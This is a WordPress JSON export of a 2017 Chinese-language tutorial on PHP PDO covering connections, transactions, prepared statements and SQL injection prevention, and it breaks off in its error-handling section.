<script>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           </script>{"id":79,"date":"2017-12-01T15:58:04","date_gmt":"2017-12-01T07:58:04","guid":{"rendered":"http:\/\/www.cheln.com\/index.php\/2017\/12\/01\/php-pdo"},"modified":"2017-12-01T15:58:04","modified_gmt":"2017-12-01T07:58:04","slug":"php-pdo","status":"publish","type":"post","link":"http:\/\/www.cheln.com\/index.php\/2017\/12\/01\/php-pdo\/","title":{"rendered":"PHP PDO"},"content":{"rendered":"<div class=\"item js-item clearfix    \" data-id=\"5725\" data-path=\"\" data-showborder=\"0\" data-position=\"1\" data-showwidth=\"120\" data-width=\"0\">\n<div class=\"sn\">1.<\/div>\n<div class=\"text\">\n<div class=\"note js-note\">\n<div>\u7c21\u4ecb<\/div>\n<div>\u7c21\u8ff0\uff1aPHP \u8cc7\u6599\u7269\u4ef6 \uff08PDO\uff09 \u64f4\u5c55\u70baPHP\u5b58\u53d6\u8cc7\u6599\u5eab\u5b9a\u7fa9\u4e86\u4e00\u500b\u8f15\u91cf\u7d1a\u7684\u4e00\u81f4\u63a5\u53e3<\/div>\n<div>\u7279\u8272\uff1aPDO \u63d0\u4f9b\u4e86\u4e00\u500b \u8cc7\u6599\u5b58\u53d6 \u62bd\u8c61\u5c64,\u4e0d\u7ba1\u4f7f\u7528\u54ea\u7a2e\u8cc7\u6599\u5eab,\u90fd\u53ef\u4ee5\u7528\u76f8\u540c\u7684\u51fd\u6578(\u65b9\u6cd5)\u4f86\u67e5\u8a62\u548c\u5b58\u53d6\u8cc7\u6599<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"item js-item clearfix    \" data-id=\"5746\" data-path=\"\" data-showborder=\"0\" data-position=\"1\" data-showwidth=\"120\" data-width=\"0\">\n<div class=\"sn\">2.<\/div>\n<div class=\"text\">\n<div class=\"note js-note\">\n<div>\u9023\u7d50\u8207\u7ba1\u7406<\/div>\n<div><strong>\u9023\u63a5\u5230 MySQL<\/strong><\/div>\n<div>\n<div>\n<div id=\"highlighter_216073\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$dbh<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php keyword\">new<\/code>\u00a0<code class=\"php plain\">PDO(<\/code><code class=\"php string\">'mysql:host=localhost;dbname=test'<\/code><code class=\"php plain\">,\u00a0<\/code><code class=\"php variable\">$user<\/code><code class=\"php plain\">,\u00a0<\/code><code class=\"php variable\">$pass<\/code><code class=\"php plain\">);<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div><b>\u8655\u7406\u9023\u7d50\u932f\u8aa4<\/b><\/div>\n<div>\n<div>\n<div id=\"highlighter_74246\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php keyword\">try<\/code> <code class=\"php plain\">{<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code> <code class=\"php plain\">= <\/code><code class=\"php keyword\">new<\/code> <code class=\"php plain\">PDO(<\/code><code class=\"php string\">'mysql:host=localhost;dbname=test'<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$user<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$pass<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php keyword\">foreach<\/code><code class=\"php plain\">(<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;query(<\/code><code class=\"php string\">'SELECT * from FOO'<\/code><code class=\"php plain\">) <\/code><code class=\"php keyword\">as<\/code> <code class=\"php variable\">$row<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">print_r(<\/code><code class=\"php variable\">$row<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code> <code class=\"php plain\">= null;<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php plain\">} <\/code><code class=\"php keyword\">catch<\/code> <code class=\"php plain\">(PDOException <\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php functions\">print<\/code> <code class=\"php string\">\"Error!: \"<\/code> <code class=\"php plain\">. <\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">-&gt;getMessage() . <\/code><code class=\"php string\">\"&lt;br\/&gt;\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php keyword\">die<\/code><code class=\"php plain\">();<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php plain\">}<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u95dc\u9589\u4e00\u500b\u9023\u7d50<\/div>\n<div>\n<div>\n<div id=\"highlighter_352161\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$dbh<\/code> <code class=\"php plain\">= null;<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u6301\u7e8c\u9023\u7dda<\/div>\n<div>\u512a\u9ede\uff1a\u7121\u9700\u6bcf\u6b21\u5efa\u7acb\u4e00\u500b\u65b0\u7684\u9023\u7d50\uff0c\u8b93web application \u66f4\u5feb<\/div>\n<div>\n<div>\n<div id=\"highlighter_806620\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$dbh<\/code> <code class=\"php plain\">= <\/code><code class=\"php keyword\">new<\/code> <code class=\"php plain\">PDO(<\/code><code class=\"php string\">'mysql:host=localhost;dbname=test'<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$user<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$pass<\/code><code class=\"php plain\">, <\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">PDO::ATTR_PERSISTENT =&gt; true<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php plain\">));<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"item js-item clearfix    \" data-id=\"5748\" data-path=\"\" data-showborder=\"0\" data-position=\"1\" data-showwidth=\"120\" data-width=\"0\">\n<div class=\"sn\">3.<\/div>\n<div class=\"text\">\n<div class=\"note js-note\">\n<div>\u4ea4\u6613\u8207\u81ea\u52d5\u63d0\u4ea4<\/div>\n<div>\u56db\u5927\u7279\u6027<\/div>\n<div>\u539f\u5b50\u6027\uff08Atomicity\uff09<\/div>\n<div>\u4e00\u81f4\u6027\uff08Consistency\uff09<\/div>\n<div>\u9694\u96e2\u6027\uff08Isolation\uff09<\/div>\n<div>\u6301\u4e45\u6027\uff08Durability\uff09<\/div>\n<div><\/div>\n<div>\u5047\u5982\u8cc7\u6599\u5eab\u4e0d\u652f\u63f4Transactions\u53ef\u904b\u884c\u7684\u7a0b\u5f0f\u78bc<\/div>\n<div>\u555f\u52d5<\/div>\n<div>\n<div>\n<div id=\"highlighter_401533\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php plain\">PDO::beginTransaction()<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u63d0\u4ea4<\/div>\n<div>\n<div>\n<div id=\"highlighter_579629\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php plain\">PDO::commit()<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u5012\u56de<\/div>\n<div>\n<div>\n<div id=\"highlighter_517568\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php plain\">PDO::rollBack()<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u4e00\u500b\u4ea4\u6613\u8655\u7406\u4f8b\u5b50<\/div>\n<div>\n<div>\n<div id=\"highlighter_345965\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<div class=\"line number20 index19 alt1\">20<\/div>\n<div class=\"line number21 index20 alt2\">21<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php keyword\">try<\/code> <code class=\"php plain\">{<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code> <code class=\"php plain\">= <\/code><code class=\"php keyword\">new<\/code> <code class=\"php plain\">PDO(<\/code><code class=\"php string\">'odbc:SAMPLE'<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">'db2inst1'<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">'ibmdb2'<\/code><code class=\"php plain\">, <\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(PDO::ATTR_PERSISTENT =&gt; true));<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php functions\">echo<\/code> <code class=\"php string\">\"Connected\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php plain\">} <\/code><code class=\"php keyword\">catch<\/code> <code class=\"php plain\">(Exception <\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php keyword\">die<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"Unable to connect: \"<\/code> <code class=\"php plain\">. <\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">-&gt;getMessage());<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php keyword\">try<\/code> <code class=\"php plain\">{\u00a0 <\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;beginTransaction();<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;<\/code><code class=\"php functions\">exec<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"insert into staff (id, first, last) values (23, 'Joe', 'Bloggs')\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;<\/code><code class=\"php functions\">exec<\/code><code class=\"php plain\">(\"insert into salarychange (id, amount, changedate) <\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">values (23, 50000, NOW())\");<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;commit();<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><code class=\"php plain\">} <\/code><code class=\"php keyword\">catch<\/code> <code class=\"php plain\">(Exception <\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;rollBack();<\/code><\/div>\n<div class=\"line number20 index19 alt1\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php functions\">echo<\/code> <code class=\"php string\">\"Failed: \"<\/code> <code class=\"php plain\">. <\/code><code class=\"php variable\">$e<\/code><code class=\"php plain\">-&gt;getMessage();<\/code><\/div>\n<div class=\"line number21 index20 alt2\"><code class=\"php plain\">}<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"item js-item clearfix    \" data-id=\"5750\" data-path=\"\" data-showborder=\"0\" data-position=\"1\" data-showwidth=\"120\" data-width=\"0\">\n<div class=\"sn\">4.<\/div>\n<div class=\"text\">\n<div class=\"note js-note\">\n<div>\u9810\u5148\u8a9e\u53e5\u8207\u5132\u5b58\u904e\u7a0b<\/div>\n<div>\u9810\u5148\u8a9e\u53e5\u7684\u63d2\u5165<\/div>\n<div>\n<div>\n<div id=\"highlighter_290647\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$stmt<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">\"INSERT INTO REGISTRY (name, value) VALUES (:name, :value)\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;bindParam(<\/code><code class=\"php string\">':name'<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$name<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;bindParam(<\/code><code class=\"php string\">':value'<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$value<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php comments\">\/\/ \u63d2\u5165\u4e00\u884c<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php variable\">$name<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'one'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php variable\">$value<\/code> <code class=\"php plain\">= 1;<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php comments\">\/\/\u00a0 \u7528\u4e0d\u540c\u7684\u503c\u63d2\u5165\u53e6\u4e00\u884c<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php variable\">$name<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'two'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php variable\">$value<\/code> <code class=\"php plain\">= 2;<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u9810\u9632 SQL \u6ce8\u5165\u653b\u64ca<\/div>\n<div>\n<div>\n<div id=\"highlighter_444046\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$stmt<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">\"SELECT * FROM REGISTRY where name = ?\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php keyword\">if<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;execute(<\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(<\/code><code class=\"php variable\">$_GET<\/code><code class=\"php plain\">[<\/code><code class=\"php string\">'name'<\/code><code class=\"php plain\">]))) {<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php keyword\">while<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$row<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;fetch()) {<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">print_r(<\/code><code class=\"php variable\">$row<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0<\/code><code class=\"php plain\">}<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php plain\">}<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u8a2d\u5b9a \u9650\u5236 \u8f38\u5165\u8207\u8f38\u51fa \u578b\u614b<\/div>\n<div>\n<div>\n<div id=\"highlighter_554743\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$stmt<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">\"CALL sp_takes_string_returns_string(?)\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$value<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'hello'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;bindParam(1, <\/code><code class=\"php variable\">$value<\/code><code class=\"php plain\">, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT, 4000); <\/code><\/div>\n<div class=\"line number4 index3 alt1\"><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php comments\">\/\/ \u8c03\u7528\u5b58\u50a8\u8fc7\u7a0b<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php functions\">print<\/code> <code class=\"php string\">\"procedure returned $value\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u6b63\u78ba\u7684LIKE\u4f7f\u7528<\/div>\n<div>\n<div>\n<div id=\"highlighter_691148\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$stmt<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">\"SELECT * FROM REGISTRY where name LIKE ?\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;execute(<\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"%$_GET[name]%\"<\/code><code class=\"php plain\">));<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"item js-item clearfix    \" data-id=\"5753\" data-path=\"\" data-showborder=\"0\" data-position=\"1\" data-showwidth=\"120\" data-width=\"0\">\n<div class=\"sn\">5.<\/div>\n<div class=\"text\">\n<div class=\"note js-note\">\n<div>\u932f\u8aa4\u8207\u8655\u7406<\/div>\n<div><\/div>\n<div>PDO::ERRMODE_SILENT<\/div>\n<div>\n<div>\n<div id=\"highlighter_187607\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php plain\">PDO::ERRMODE_SILENT<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u7c21\u55ae\u8a2d\u7f6e\u932f\u8aa4\u78bc\uff0c\u53ef\u4f7f\u7528<\/p>\n<div>\n<div id=\"highlighter_964013\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php plain\">PDO::errorCode()<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php 